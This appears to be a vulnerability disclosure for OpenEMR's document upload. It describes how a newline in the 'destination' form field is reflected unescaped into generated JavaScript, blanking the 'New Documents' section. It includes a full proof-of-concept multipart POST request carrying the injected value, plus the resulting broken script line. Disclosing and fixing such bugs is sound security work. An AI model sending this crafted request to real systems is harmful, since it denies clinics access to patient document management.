Description

The name of any uploaded document can be manipulated using the destination parameter, to include new line characters in its name, breaking the execution of JS code in "New Documents" section from "Miscellaneous" menu, that will be blank until the document is removed from DB.

Proof of Concept

The following request was sent to upload a dummy file with a destination parameter including a new line character:

POST /openemr/controller.php?document&upload&patient_id=00&parent_id=1& HTTP/1.1
(...snip...)
Content-Type: multipart/form-data; boundary=---------------------------139184551113566022282519832587
Upgrade-Insecure-Requests: 1

-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="MAX_FILE_SIZE"

64000000
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="file[]"; filename="1234.txt"
Content-Type: text/plain

TEST
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="dicom_folder[]"; filename=""
Content-Type: application/octet-stream


-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="destination"

test
1234
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="passphrase"


-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="patient_id"

00
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="category_id"

1
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="process"

true
-----------------------------139184551113566022282519832587--

That value was used as a "virtual" name that was reflected in JS code generated from "New Documents" section:

newNode_14 = newNode.addItem(new TreeNode('2022-10-05 test
1234-16', 'file3.png', '/openemr/controller.php?document&view&patient_id=00&doc_id=16&', false, true, '', '', 'folder-expanded.gif'));

That new line break the execution of JS code that cannot show the section contents anymore, leaving the user without the option of managing files.

Uncaught SyntaxError: '' string literal contains an unescaped line break controller.php:116:60

Impact

The success exploitation of this issue could lead into a denial of service, leaving the documents section broken and not usable until the record is removed from database.